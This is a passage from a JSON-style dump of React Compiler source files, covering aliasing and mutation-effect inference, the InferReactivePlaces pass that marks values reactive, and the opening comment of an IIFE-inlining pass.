to\n           * be fine, but we should fix that inference pass so that we add the\n           * invariant here.\n           */\n          if (!state.nodes.has(effect.into.identifier)) {\n            state.create(effect.into, {kind: 'Object'});\n          }\n          state.assign(index++, effect.from, effect.into);\n        } else if (effect.kind === 'Alias') {\n          state.assign(index++, effect.from, effect.into);\n        } else if (effect.kind === 'MaybeAlias') {\n          state.maybeAlias(index++, effect.from, effect.into);\n        } else if (effect.kind === 'Capture') {\n          state.capture(index++, effect.from, effect.into);\n        } else if (\n          effect.kind === 'MutateTransitive' ||\n          effect.kind === 'MutateTransitiveConditionally'\n        ) {\n          mutations.push({\n            index: index++,\n            id: instr.id,\n            transitive: true,\n            kind:\n              effect.kind === 'MutateTransitive'\n                ? MutationKind.Definite\n                : MutationKind.Conditional,\n            reason: null,\n            place: effect.value,\n          });\n        } else if (\n          effect.kind === 'Mutate' ||\n          effect.kind === 'MutateConditionally'\n        ) {\n          mutations.push({\n            index: index++,\n            id: instr.id,\n            transitive: false,\n            kind:\n              effect.kind === 'Mutate'\n                ? MutationKind.Definite\n                : MutationKind.Conditional,\n            reason: effect.kind === 'Mutate' ? (effect.reason ?? null) : null,\n            place: effect.value,\n          });\n        } else if (\n          effect.kind === 'MutateFrozen' ||\n          effect.kind === 'MutateGlobal' ||\n          effect.kind === 'Impure'\n        ) {\n          if (shouldRecordErrors) {\n            fn.env.recordError(effect.error);\n          }\n          functionEffects.push(effect);\n        } else if (effect.kind === 'Render') {\n          renders.push({index: index++, place: effect.place});\n          functionEffects.push(effect);\n        }\n      }\n    }\n    const blockPhis = pendingPhis.get(block.id);\n    if (blockPhis != null) {\n      for (const {from, into, index} of blockPhis) {\n        state.assign(index, from, into);\n      }\n    }\n    if (block.terminal.kind === 'return') {\n      state.assign(index++, block.terminal.value, fn.returns);\n    }\n\n    if (\n      (block.terminal.kind === 'maybe-throw' ||\n        block.terminal.kind === 'return') &&\n      block.terminal.effects != null\n    ) {\n      for (const effect of block.terminal.effects) {\n        if (effect.kind === 'Alias') {\n          state.assign(index++, effect.from, effect.into);\n        } else {\n          CompilerError.invariant(effect.kind === 'Freeze', {\n            reason: `Unexpected '${effect.kind}' effect for MaybeThrow terminal`,\n            loc: block.terminal.loc,\n          });\n        }\n      }\n    }\n  }\n\n  for (const mutation of mutations) {\n    state.mutate(\n      mutation.index,\n      mutation.place.identifier,\n      makeInstructionId(mutation.id + 1),\n      mutation.transitive,\n      mutation.kind,\n      mutation.place.loc,\n      mutation.reason,\n      shouldRecordErrors ? fn.env : null,\n    );\n  }\n  for (const render of renders) {\n    state.render(\n      render.index,\n      render.place.identifier,\n      shouldRecordErrors ? fn.env : null,\n    );\n  }\n  for (const param of [...fn.context, ...fn.params]) {\n    const place = param.kind === 'Identifier' ? param : param.place;\n\n    const node = state.nodes.get(place.identifier);\n    if (node == null) {\n      continue;\n    }\n    let mutated = false;\n    if (node.local != null) {\n      if (node.local.kind === MutationKind.Conditional) {\n        mutated = true;\n        functionEffects.push({\n          kind: 'MutateConditionally',\n          value: {...place, loc: node.local.loc},\n        });\n      } else if (node.local.kind === MutationKind.Definite) {\n        mutated = true;\n        functionEffects.push({\n          kind: 'Mutate',\n          value: {...place, loc: node.local.loc},\n          reason: node.mutationReason,\n        });\n      }\n    }\n    if (node.transitive != null) {\n      if (node.transitive.kind === MutationKind.Conditional) {\n        mutated = true;\n        functionEffects.push({\n          kind: 'MutateTransitiveConditionally',\n          value: {...place, loc: node.transitive.loc},\n        });\n      } else if (node.transitive.kind === MutationKind.Definite) {\n        mutated = true;\n        functionEffects.push({\n          kind: 'MutateTransitive',\n          value: {...place, loc: node.transitive.loc},\n        });\n      }\n    }\n    if (mutated) {\n      place.effect = Effect.Capture;\n    }\n  }\n\n  /**\n   * Part 2\n   * Add legacy operand-specific effects based on instruction effects and mutable ranges.\n   * Also fixes up operand mutable ranges, making sure that start is non-zero if the value\n   * is mutated (depended on by later passes like InferReactiveScopeVariables which uses this\n   * to filter spurious mutations of globals, which we now guard against more precisely)\n   */\n  for (const block of fn.body.blocks.values()) {\n    for (const phi of block.phis) {\n      // TODO: we don't actually set these effects today!\n      phi.place.effect = Effect.Store;\n      const isPhiMutatedAfterCreation: boolean =\n        phi.place.identifier.mutableRange.end >\n        (block.instructions.at(0)?.id ?? block.terminal.id);\n      for (const operand of phi.operands.values()) {\n        operand.effect = isPhiMutatedAfterCreation\n          ? Effect.Capture\n          : Effect.Read;\n      }\n      if (\n        isPhiMutatedAfterCreation &&\n        phi.place.identifier.mutableRange.start === 0\n      ) {\n        /*\n         * TODO: ideally we'd construct a precise start range, but what really\n         * matters is that the phi's range appears mutable (end > start + 1)\n         * so we just set the start to the previous instruction before this block\n         */\n        const firstInstructionIdOfBlock =\n          block.instructions.at(0)?.id ?? block.terminal.id;\n        phi.place.identifier.mutableRange.start = makeInstructionId(\n          firstInstructionIdOfBlock - 1,\n        );\n      }\n    }\n    for (const instr of block.instructions) {\n      for (const lvalue of eachInstructionLValue(instr)) {\n        lvalue.effect = Effect.ConditionallyMutate;\n        if (lvalue.identifier.mutableRange.start === 0) {\n          lvalue.identifier.mutableRange.start = instr.id;\n        }\n        if (lvalue.identifier.mutableRange.end === 0) {\n          lvalue.identifier.mutableRange.end = makeInstructionId(\n            Math.max(instr.id + 1, lvalue.identifier.mutableRange.end),\n          );\n        }\n      }\n      for (const operand of eachInstructionValueOperand(instr.value)) {\n        operand.effect = Effect.Read;\n      }\n      if (instr.effects == null) {\n        continue;\n      }\n      const operandEffects = new Map<IdentifierId, Effect>();\n      for (const effect of instr.effects) {\n        switch (effect.kind) {\n          case 'Assign':\n          case 'Alias':\n          case 'Capture':\n          case 'CreateFrom':\n          case 'MaybeAlias': {\n            const isMutatedOrReassigned =\n              effect.into.identifier.mutableRange.end > instr.id;\n            if (isMutatedOrReassigned) {\n              operandEffects.set(effect.from.identifier.id, Effect.Capture);\n              operandEffects.set(effect.into.identifier.id, Effect.Store);\n            } else {\n              operandEffects.set(effect.from.identifier.id, Effect.Read);\n              operandEffects.set(effect.into.identifier.id, Effect.Store);\n            }\n            break;\n          }\n          case 'CreateFunction':\n          case 'Create': {\n            break;\n          }\n          case 'Mutate': {\n            operandEffects.set(effect.value.identifier.id, Effect.Store);\n            break;\n          }\n          case 'Apply': {\n            CompilerError.invariant(false, {\n              reason: `[AnalyzeFunctions] Expected Apply effects to be replaced with more precise effects`,\n              loc: effect.function.loc,\n            });\n          }\n          case 'MutateTransitive':\n          case 'MutateConditionally':\n          case 'MutateTransitiveConditionally': {\n            operandEffects.set(\n              effect.value.identifier.id,\n              Effect.ConditionallyMutate,\n            );\n            break;\n          }\n          case 'Freeze': {\n            operandEffects.set(effect.value.identifier.id, Effect.Freeze);\n            break;\n          }\n          case 'ImmutableCapture': {\n            // no-op, Read is the default\n            break;\n          }\n          case 'Impure':\n          case 'Render':\n          case 'MutateFrozen':\n          case 'MutateGlobal': {\n            // no-op\n            break;\n          }\n          default: {\n            assertExhaustive(\n              effect,\n              `Unexpected effect kind ${(effect as any).kind}`,\n            );\n          }\n        }\n      }\n      for (const lvalue of eachInstructionLValue(instr)) {\n        const effect =\n          operandEffects.get(lvalue.identifier.id) ??\n          Effect.ConditionallyMutate;\n        lvalue.effect = effect;\n      }\n      for (const operand of eachInstructionValueOperand(instr.value)) {\n        if (\n          operand.identifier.mutableRange.end > instr.id &&\n          operand.identifier.mutableRange.start === 0\n        ) {\n          operand.identifier.mutableRange.start = instr.id;\n        }\n        const effect = operandEffects.get(operand.identifier.id) ?? Effect.Read;\n        operand.effect = effect;\n      }\n\n      /**\n       * This case is targeted at hoisted functions like:\n       *\n       * ```\n       * x();\n       * function x() { ... }\n       * ```\n       *\n       * Which turns into:\n       *\n       * t0 = DeclareContext HoistedFunction x\n       * t1 = LoadContext x\n       * t2 = CallExpression t1 ( )\n       * t3 = FunctionExpression ...\n       * t4 = StoreContext Function x = t3\n       *\n       * If the function had captured mutable values, it would already have its\n       * range extended to include the StoreContext. But if the function doesn't\n       * capture any mutable values its range won't have been extended yet. We\n       * want to ensure that the value is memoized along with the context variable,\n       * not independently of it (bc of the way we do codegen for hoisted functions).\n       * So here we check for StoreContext rvalues and if they haven't already had\n       * their range extended to at least this instruction, we extend it.\n       */\n      if (\n        instr.value.kind === 'StoreContext' &&\n        instr.value.value.identifier.mutableRange.end <= instr.id\n      ) {\n        instr.value.value.identifier.mutableRange.end = makeInstructionId(\n          instr.id + 1,\n        );\n      }\n    }\n    if (block.terminal.kind === 'return') {\n      block.terminal.value.effect = isFunctionExpression\n        ? Effect.Read\n        : Effect.Freeze;\n    } else {\n      for (const operand of eachTerminalOperand(block.terminal)) {\n        operand.effect = Effect.Read;\n      }\n    }\n  }\n\n  /**\n   * Part 3\n   * Finish populating the externally visible effects. Above we bubble-up the side effects\n   * (MutateFrozen/MutableGlobal/Impure/Render) as well as mutations of context variables.\n   * Here we populate an effect to create the return value as well as populating alias/capture\n   * effects for how data flows between the params, context vars, and return.\n   */\n  const returns = fn.returns.identifier;\n  functionEffects.push({\n    kind: 'Create',\n    into: fn.returns,\n    value: isPrimitiveType(returns)\n      ? ValueKind.Primitive\n      : isJsxType(returns.type)\n        ? ValueKind.Frozen\n        : ValueKind.Mutable,\n    reason: ValueReason.KnownReturnSignature,\n  });\n  /**\n   * Determine precise data-flow effects by simulating transitive mutations of the params/\n   * captures and seeing what other params/context variables are affected. Anything that\n   * would be transitively mutated needs a capture relationship.\n   */\n  const tracked: Array<Place> = [];\n  for (const param of [...fn.params, ...fn.context, fn.returns]) {\n    const place = param.kind === 'Identifier' ? param : param.place;\n    tracked.push(place);\n  }\n  for (const into of tracked) {\n    const mutationIndex = index++;\n    state.mutate(\n      mutationIndex,\n      into.identifier,\n      null,\n      true,\n      MutationKind.Conditional,\n      into.loc,\n      null,\n      null,\n    );\n    for (const from of tracked) {\n      if (\n        from.identifier.id === into.identifier.id ||\n        from.identifier.id === fn.returns.identifier.id\n      ) {\n        continue;\n      }\n      const fromNode = state.nodes.get(from.identifier);\n      CompilerError.invariant(fromNode != null, {\n        reason: `Expected a node to exist for all parameters and context variables`,\n        loc: into.loc,\n      });\n      if (fromNode.lastMutated === mutationIndex) {\n        if (into.identifier.id === fn.returns.identifier.id) {\n          // The return value could be any of the params/context variables\n          functionEffects.push({\n            kind: 'Alias',\n            from,\n            into,\n          });\n        } else {\n          // Otherwise params/context-vars can only capture each other\n          functionEffects.push({\n            kind: 'Capture',\n            from,\n            into,\n          });\n        }\n      }\n    }\n  }\n\n  return functionEffects;\n}\n\nfunction appendFunctionErrors(env: Environment | null, fn: HIRFunction): void {\n  if (env == null) return;\n  for (const effect of fn.aliasingEffects ?? []) {\n    switch (effect.kind) {\n      case 'Impure':\n      case 'MutateFrozen':\n      case 'MutateGlobal': {\n        env.recordError(effect.error);\n        break;\n      }\n    }\n  }\n}\n\nexport enum MutationKind {\n  None = 0,\n  Conditional = 1,\n  Definite = 2,\n}\n\ntype Node = {\n  id: Identifier;\n  createdFrom: Map<Identifier, number>;\n  captures: Map<Identifier, number>;\n  aliases: Map<Identifier, number>;\n  maybeAliases: Map<Identifier, number>;\n  edges: Array<{\n    index: number;\n    node: Identifier;\n    kind: 'capture' | 'alias' | 'maybeAlias';\n  }>;\n  transitive: {kind: MutationKind; loc: SourceLocation} | null;\n  local: {kind: MutationKind; loc: SourceLocation} | null;\n  lastMutated: number;\n  mutationReason: MutationReason | null;\n  value:\n    | {kind: 'Object'}\n    | {kind: 'Phi'}\n    | {kind: 'Function'; function: HIRFunction};\n};\nclass AliasingState {\n  nodes: Map<Identifier, Node> = new Map();\n\n  create(place: Place, value: Node['value']): void {\n    this.nodes.set(place.identifier, {\n      id: place.identifier,\n      createdFrom: new Map(),\n      captures: new Map(),\n      aliases: new Map(),\n      maybeAliases: new Map(),\n      edges: [],\n      transitive: null,\n      local: null,\n      lastMutated: 0,\n      mutationReason: null,\n      value,\n    });\n  }\n\n  createFrom(index: number, from: Place, into: Place): void {\n    this.create(into, {kind: 'Object'});\n    const fromNode = this.nodes.get(from.identifier);\n    const toNode = this.nodes.get(into.identifier);\n    if (fromNode == null || toNode == null) {\n      return;\n    }\n    fromNode.edges.push({index, node: into.identifier, kind: 'alias'});\n    if (!toNode.createdFrom.has(from.identifier)) {\n      toNode.createdFrom.set(from.identifier, index);\n    }\n  }\n\n  capture(index: number, from: Place, into: Place): void {\n    const fromNode = this.nodes.get(from.identifier);\n    const toNode = this.nodes.get(into.identifier);\n    if (fromNode == null || toNode == null) {\n      return;\n    }\n    fromNode.edges.push({index, node: into.identifier, kind: 'capture'});\n    if (!toNode.captures.has(from.identifier)) {\n      toNode.captures.set(from.identifier, index);\n    }\n  }\n\n  assign(index: number, from: Place, into: Place): void {\n    const fromNode = this.nodes.get(from.identifier);\n    const toNode = this.nodes.get(into.identifier);\n    if (fromNode == null || toNode == null) {\n      return;\n    }\n    fromNode.edges.push({index, node: into.identifier, kind: 'alias'});\n    if (!toNode.aliases.has(from.identifier)) {\n      toNode.aliases.set(from.identifier, index);\n    }\n  }\n\n  maybeAlias(index: number, from: Place, into: Place): void {\n    const fromNode = this.nodes.get(from.identifier);\n    const toNode = this.nodes.get(into.identifier);\n    if (fromNode == null || toNode == null) {\n      return;\n    }\n    fromNode.edges.push({index, node: into.identifier, kind: 'maybeAlias'});\n    if (!toNode.maybeAliases.has(from.identifier)) {\n      toNode.maybeAliases.set(from.identifier, index);\n    }\n  }\n\n  render(index: number, start: Identifier, env: Environment | null): void {\n    const seen = new Set<Identifier>();\n    const queue: Array<Identifier> = [start];\n    while (queue.length !== 0) {\n      const current = queue.pop()!;\n      if (seen.has(current)) {\n        continue;\n      }\n      seen.add(current);\n      const node = this.nodes.get(current);\n      if (node == null || node.transitive != null || node.local != null) {\n        continue;\n      }\n      if (node.value.kind === 'Function') {\n        appendFunctionErrors(env, node.value.function);\n      }\n      for (const [alias, when] of node.createdFrom) {\n        if (when >= index) {\n          continue;\n        }\n        queue.push(alias);\n      }\n      for (const [alias, when] of node.aliases) {\n        if (when >= index) {\n          continue;\n        }\n        queue.push(alias);\n      }\n      for (const [capture, when] of node.captures) {\n        if (when >= index) {\n          continue;\n        }\n        queue.push(capture);\n      }\n    }\n  }\n\n  mutate(\n    index: number,\n    start: Identifier,\n    // Null is used for simulated mutations\n    end: InstructionId | null,\n    transitive: boolean,\n    startKind: MutationKind,\n    loc: SourceLocation,\n    reason: MutationReason | null,\n    env: Environment | null,\n  ): void {\n    const seen = new Map<Identifier, MutationKind>();\n    const queue: Array<{\n      place: Identifier;\n      transitive: boolean;\n      direction: 'backwards' | 'forwards';\n      kind: MutationKind;\n    }> = [{place: start, transitive, direction: 'backwards', kind: startKind}];\n    while (queue.length !== 0) {\n      const {place: current, transitive, direction, kind} = queue.pop()!;\n      const previousKind = seen.get(current);\n      if (previousKind != null && previousKind >= kind) {\n        continue;\n      }\n      seen.set(current, kind);\n      const node = this.nodes.get(current);\n      if (node == null) {\n        continue;\n      }\n      node.mutationReason ??= reason;\n      node.lastMutated = Math.max(node.lastMutated, index);\n      if (end != null) {\n        node.id.mutableRange.end = makeInstructionId(\n          Math.max(node.id.mutableRange.end, end),\n        );\n      }\n      if (\n        node.value.kind === 'Function' &&\n        node.transitive == null &&\n        node.local == null\n      ) {\n        appendFunctionErrors(env, node.value.function);\n      }\n      if (transitive) {\n        if (node.transitive == null || node.transitive.kind < kind) {\n          node.transitive = {kind, loc};\n        }\n      } else {\n        if (node.local == null || node.local.kind < kind) {\n          node.local = {kind, loc};\n        }\n      }\n      /**\n       * all mutations affect \"forward\" edges by the rules:\n       * - Capture a -> b, mutate(a) => mutate(b)\n       * - Alias a -> b, mutate(a) => mutate(b)\n       */\n      for (const edge of node.edges) {\n        if (edge.index >= index) {\n          break;\n        }\n        queue.push({\n          place: edge.node,\n          transitive,\n          direction: 'forwards',\n          // Traversing a maybeAlias edge always downgrades to conditional mutation\n          kind: edge.kind === 'maybeAlias' ? MutationKind.Conditional : kind,\n        });\n      }\n      for (const [alias, when] of node.createdFrom) {\n        if (when >= index) {\n          continue;\n        }\n        queue.push({\n          place: alias,\n          transitive: true,\n          direction: 'backwards',\n          kind,\n        });\n      }\n      if (direction === 'backwards' || node.value.kind !== 'Phi') {\n        /**\n         * all mutations affect backward alias edges by the rules:\n         * - Alias a -> b, mutate(b) => mutate(a)\n         * - Alias a -> b, mutateTransitive(b) => mutate(a)\n         *\n         * However, if we reached a phi because one of its inputs was mutated\n         * (and we're advancing \"forwards\" through that node's edges), then\n         * we know we've already processed the mutation at its source. The\n         * phi's other inputs can't be affected.\n         */\n        for (const [alias, when] of node.aliases) {\n          if (when >= index) {\n            continue;\n          }\n          queue.push({\n            place: alias,\n            transitive,\n            direction: 'backwards',\n            kind,\n          });\n        }\n        /**\n         * MaybeAlias indicates potential data flow from unknown function calls,\n         * so we downgrade mutations through these aliases to consider them\n         * conditional. This means we'll consider them for mutation *range*\n         * purposes but not report validation errors for mutations, since\n         * we aren't sure that the `from` value could actually be aliased.\n         */\n        for (const [alias, when] of node.maybeAliases) {\n          if (when >= index) {\n            continue;\n          }\n          queue.push({\n            place: alias,\n            transitive,\n            direction: 'backwards',\n            kind: MutationKind.Conditional,\n          });\n        }\n      }\n      /**\n       * but only transitive mutations affect captures\n       */\n      if (transitive) {\n        for (const [capture, when] of node.captures) {\n          if (when >= index) {\n            continue;\n          }\n          queue.push({\n            place: capture,\n            transitive,\n            direction: 'backwards',\n            kind,\n          });\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Inference/InferReactivePlaces.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {CompilerError} from '..';\nimport {\n  Effect,\n  Environment,\n  HIRFunction,\n  Identifier,\n  IdentifierId,\n  Instruction,\n  Place,\n  evaluatesToStableTypeOrContainer,\n  getHookKind,\n  isStableType,\n  isStableTypeContainer,\n  isUseOperator,\n} from '../HIR';\nimport {\n  eachInstructionLValue,\n  eachInstructionOperand,\n  eachInstructionValueOperand,\n  eachTerminalOperand,\n} from '../HIR/visitors';\nimport {\n  findDisjointMutableValues,\n  isMutable,\n} from '../ReactiveScopes/InferReactiveScopeVariables';\nimport DisjointSet from '../Utils/DisjointSet';\nimport {assertExhaustive} from '../Utils/utils';\nimport {createControlDominators} from './ControlDominators';\n\n/**\n * Side map to track and propagate sources of stability (i.e. hook calls such as\n * `useRef()` and property reads such as `useState()[1]). Note that this\n * requires forward data flow analysis since stability is not part of React\n * Compiler's type system.\n */\nclass StableSidemap {\n  map: Map<IdentifierId, {isStable: boolean}> = new Map();\n  env: Environment;\n\n  constructor(env: Environment) {\n    this.env = env;\n  }\n\n  handleInstruction(instr: Instruction): void {\n    const {value, lvalue} = instr;\n\n    switch (value.kind) {\n      case 'CallExpression':\n      case 'MethodCall': {\n        /**\n         * Sources of stability are known hook calls\n         */\n        if (evaluatesToStableTypeOrContainer(this.env, instr)) {\n          if (isStableType(lvalue.identifier)) {\n            this.map.set(lvalue.identifier.id, {\n              isStable: true,\n            });\n          } else {\n            this.map.set(lvalue.identifier.id, {\n              isStable: false,\n            });\n          }\n        }\n        break;\n      }\n\n      case 'Destructure':\n      case 'PropertyLoad': {\n        /**\n         * PropertyLoads may from stable containers may also produce stable\n         * values. ComputedLoads are technically safe for now (as all stable\n         * containers have differently-typed elements), but are not handled as\n         * they should be rare anyways.\n         */\n        const source =\n          value.kind === 'Destructure'\n            ? value.value.identifier.id\n            : value.object.identifier.id;\n        const entry = this.map.get(source);\n        if (entry) {\n          for (const lvalue of eachInstructionLValue(instr)) {\n            if (isStableTypeContainer(lvalue.identifier)) {\n              this.map.set(lvalue.identifier.id, {\n                isStable: false,\n              });\n            } else if (isStableType(lvalue.identifier)) {\n              this.map.set(lvalue.identifier.id, {\n                isStable: true,\n              });\n            }\n          }\n        }\n        break;\n      }\n\n      case 'StoreLocal': {\n        const entry = this.map.get(value.value.identifier.id);\n        if (entry) {\n          this.map.set(lvalue.identifier.id, entry);\n          this.map.set(value.lvalue.place.identifier.id, entry);\n        }\n        break;\n      }\n\n      case 'LoadLocal': {\n        const entry = this.map.get(value.place.identifier.id);\n        if (entry) {\n          this.map.set(lvalue.identifier.id, entry);\n        }\n        break;\n      }\n    }\n  }\n\n  isStable(id: IdentifierId): boolean {\n    const entry = this.map.get(id);\n    return entry != null ? entry.isStable : false;\n  }\n}\n/*\n * Infers which `Place`s are reactive, ie may *semantically* change\n * over the course of the component/hook's lifetime. Places are reactive\n * if they derive from source source of reactivity, which includes the\n * following categories.\n *\n * ## Props\n *\n * Props may change so they're reactive:\n *\n * ## Hooks\n *\n * Hooks may access state or context, which can change so they're reactive.\n *\n * ## Mutation with reactive operands\n *\n * Any value that is mutated in an instruction that also has reactive operands\n * could cause the modified value to capture a reference to the reactive value,\n * making the mutated value reactive.\n *\n * Ex:\n * ```\n * function Component(props) {\n *    const x = {}; // not yet reactive\n *    x.y = props.y;\n * }\n * ```\n *\n * Here `x` is modified in an instruction that has a reactive operand (`props.y`)\n * so x becomes reactive.\n *\n * ## Conditional assignment based on a reactive condition\n *\n * Conditionally reassigning a variable based on a condition which is reactive means\n * that the value being assigned could change, hence that variable also becomes\n * reactive.\n *\n * ```\n * function Component(props) {\n *    let x;\n *    if (props.cond) {\n *      x = 1;\n *    } else {\n *      x = 2;\n *    }\n *    return x;\n * }\n * ```\n *\n * Here `x` is never assigned a reactive value (it is assigned the constant 1 or 2) but\n * the condition, `props.cond`, is reactive, and therefore `x` could change reactively too.\n *\n *\n * # Algorithm\n *\n * The algorithm uses a fixpoint iteration in order to propagate reactivity \"forward\" through\n * the control-flow graph. We track whether each IdentifierId is reactive and terminate when\n * there are no changes after a given pass over the CFG.\n *\n * Note that in Forget it's possible to create a \"readonly\" reference to a value where\n * the reference is created within that value's mutable range:\n *\n * ```javascript\n * const x = [];\n * const z = [x];\n * x.push(props.input);\n *\n * return <div>{z}</div>;\n * ```\n *\n * Here `z` is never used to mutate the value, but it is aliasing `x` which\n * is mutated after the creation of the alias. The pass needs to account for\n * values which become reactive via mutability, and propagate this reactivity\n * to these readonly aliases. Using forward data flow is insufficient since\n * this information needs to propagate \"backwards\" from the `x.push(props.input)`\n * to the previous `z = [x]` line. We use a fixpoint iteration even if the\n * program has no back edges to accomplish this.\n */\nexport function inferReactivePlaces(fn: HIRFunction): void {\n  const reactiveIdentifiers = new ReactivityMap(findDisjointMutableValues(fn));\n  const stableIdentifierSources = new StableSidemap(fn.env);\n  for (const param of fn.params) {\n    const place = param.kind === 'Identifier' ? param : param.place;\n    reactiveIdentifiers.markReactive(place);\n  }\n\n  const isReactiveControlledBlock = createControlDominators(fn, place =>\n    reactiveIdentifiers.isReactive(place),\n  );\n\n  do {\n    for (const [, block] of fn.body.blocks) {\n      let hasReactiveControl = isReactiveControlledBlock(block.id);\n\n      for (const phi of block.phis) {\n        if (reactiveIdentifiers.isReactive(phi.place)) {\n          // Already marked reactive on a previous pass\n          continue;\n        }\n        let isPhiReactive = false;\n        for (const [, operand] of phi.operands) {\n          if (reactiveIdentifiers.isReactive(operand)) {\n            isPhiReactive = true;\n            break;\n          }\n        }\n        if (isPhiReactive) {\n          reactiveIdentifiers.markReactive(phi.place);\n        } else {\n          for (const [pred] of phi.operands) {\n            if (isReactiveControlledBlock(pred)) {\n              reactiveIdentifiers.markReactive(phi.place);\n              break;\n            }\n          }\n        }\n      }\n      for (const instruction of block.instructions) {\n        stableIdentifierSources.handleInstruction(instruction);\n        const {value} = instruction;\n        let hasReactiveInput = false;\n        /*\n         * NOTE: we want to mark all operands as reactive or not, so we\n         * avoid short-circuiting here\n         */\n        for (const operand of eachInstructionValueOperand(value)) {\n          const reactive = reactiveIdentifiers.isReactive(operand);\n          hasReactiveInput ||= reactive;\n        }\n\n        /**\n         * Hooks and the 'use' operator are sources of reactivity because\n         * they can access state (for hooks) or context (for hooks/use).\n         *\n         * Technically, `use` could be used to await a non-reactive promise,\n         * but we are conservative and assume that the value could be reactive.\n         */\n        if (\n          value.kind === 'CallExpression' &&\n          (getHookKind(fn.env, value.callee.identifier) != null ||\n            isUseOperator(value.callee.identifier))\n        ) {\n          hasReactiveInput = true;\n        } else if (\n          value.kind === 'MethodCall' &&\n          (getHookKind(fn.env, value.property.identifier) != null ||\n            isUseOperator(value.property.identifier))\n        ) {\n          hasReactiveInput = true;\n        }\n\n        if (hasReactiveInput) {\n          for (const lvalue of eachInstructionLValue(instruction)) {\n            /**\n             * Note that it's not correct to mark all stable-typed identifiers\n             * as non-reactive, since ternaries and other value blocks can\n             * produce reactive identifiers typed as these.\n             * (e.g. `props.cond ? setState1 : setState2`)\n             */\n            if (stableIdentifierSources.isStable(lvalue.identifier.id)) {\n              continue;\n            }\n            reactiveIdentifiers.markReactive(lvalue);\n          }\n        }\n        if (hasReactiveInput || hasReactiveControl) {\n          for (const operand of eachInstructionValueOperand(value)) {\n            switch (operand.effect) {\n              case Effect.Capture:\n              case Effect.Store:\n              case Effect.ConditionallyMutate:\n              case Effect.ConditionallyMutateIterator:\n              case Effect.Mutate: {\n                if (isMutable(instruction, operand)) {\n                  reactiveIdentifiers.markReactive(operand);\n                }\n                break;\n              }\n              case Effect.Freeze:\n              case Effect.Read: {\n                // no-op\n                break;\n              }\n              case Effect.Unknown: {\n                CompilerError.invariant(false, {\n                  reason: 'Unexpected unknown effect',\n                  loc: operand.loc,\n                });\n              }\n              default: {\n                assertExhaustive(\n                  operand.effect,\n                  `Unexpected effect kind \\`${operand.effect}\\``,\n                );\n              }\n            }\n          }\n        }\n      }\n      for (const operand of eachTerminalOperand(block.terminal)) {\n        reactiveIdentifiers.isReactive(operand);\n      }\n    }\n  } while (reactiveIdentifiers.snapshot());\n\n  function propagateReactivityToInnerFunctions(\n    fn: HIRFunction,\n    isOutermost: boolean,\n  ): void {\n    for (const [, block] of fn.body.blocks) {\n      for (const instr of block.instructions) {\n        if (!isOutermost) {\n          for (const operand of eachInstructionOperand(instr)) {\n            reactiveIdentifiers.isReactive(operand);\n          }\n        }\n        if (\n          instr.value.kind === 'ObjectMethod' ||\n          instr.value.kind === 'FunctionExpression'\n        ) {\n          propagateReactivityToInnerFunctions(\n            instr.value.loweredFunc.func,\n            false,\n          );\n        }\n      }\n      if (!isOutermost) {\n        for (const operand of eachTerminalOperand(block.terminal)) {\n          reactiveIdentifiers.isReactive(operand);\n        }\n      }\n    }\n  }\n\n  /**\n   * Propagate reactivity for inner functions, as we eventually hoist and dedupe\n   * dependency instructions for scopes.\n   */\n  propagateReactivityToInnerFunctions(fn, true);\n}\n\nclass ReactivityMap {\n  hasChanges: boolean = false;\n  reactive: Set<IdentifierId> = new Set();\n\n  /**\n   * Sets of mutably aliased identifiers — these are the same foundation for determining\n   * reactive scopes a few passes later. The actual InferReactiveScopeVariables pass runs\n   * after LeaveSSA, which artificially merges mutable ranges in cases such as declarations\n   * that are later reassigned. Here we use only the underlying sets of mutably aliased values.\n   *\n   * Any identifier that has a mapping in this disjoint set will be treated as a stand in for\n   * its canonical identifier in all cases, so that any reactivity flowing into one identifier of\n   * an alias group will effectively make the whole alias group (all its identifiers) reactive.\n   */\n  aliasedIdentifiers: DisjointSet<Identifier>;\n\n  constructor(aliasedIdentifiers: DisjointSet<Identifier>) {\n    this.aliasedIdentifiers = aliasedIdentifiers;\n  }\n\n  isReactive(place: Place): boolean {\n    const identifier =\n      this.aliasedIdentifiers.find(place.identifier) ?? place.identifier;\n    const reactive = this.reactive.has(identifier.id);\n    if (reactive) {\n      place.reactive = true;\n    }\n    return reactive;\n  }\n\n  markReactive(place: Place): void {\n    place.reactive = true;\n    const identifier =\n      this.aliasedIdentifiers.find(place.identifier) ?? place.identifier;\n    if (!this.reactive.has(identifier.id)) {\n      this.hasChanges = true;\n      this.reactive.add(identifier.id);\n    }\n  }\n\n  snapshot(): boolean {\n    const hasChanges = this.hasChanges;\n    this.hasChanges = false;\n    return hasChanges;\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Inference/InlineImmediatelyInvokedFunctionExpressions.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {\n  BasicBlock,\n  BlockId,\n  Environment,\n  FunctionExpression,\n  GeneratedSource,\n  GotoTerminal,\n  GotoVariant,\n  HIRFunction,\n  IdentifierId,\n  InstructionKind,\n  LabelTerminal,\n  Place,\n  isStatementBlockKind,\n  makeInstructionId,\n  mergeConsecutiveBlocks,\n  promoteTemporary,\n  reversePostorderBlocks,\n} from '../HIR';\nimport {\n  createTemporaryPlace,\n  markInstructionIds,\n  markPredecessors,\n} from '../HIR/HIRBuilder';\nimport {eachInstructionValueOperand} from '../HIR/visitors';\nimport {retainWhere} from '../Utils/utils';\n\n/*\n * Inlines immediately invoked function expressions (IIFEs) to allow more fine-grained memoization\n * of the values they produce.\n *\n * Example:\n *\n * ```\n * const x = (() => {\n *    const x = [];\n *    x.push(foo());\n *    return x;\n * })();\n *\n * =>\n *\n * bb0:\n *     // placeholder for the result, all return statements will assign here\n *    let t0;\n *    // Label allows using a goto (break) to exit out of the body\n *    Label block=bb1 fallthrough=bb2\n * bb1:\n *    // code within the function expression\n *    const x0 = [];\n *    x0.push(foo());\n *    // return is replaced by assignment to the result variable...\n *    t0 = x0;\n *    // ...and a goto to the code after the function expression invocation\n *    Goto bb2\n * bb2:\n *    // code after the IIFE call\n *    const x = t0;\n * ```\n *\n * The implementation relies on HIR's ability to support 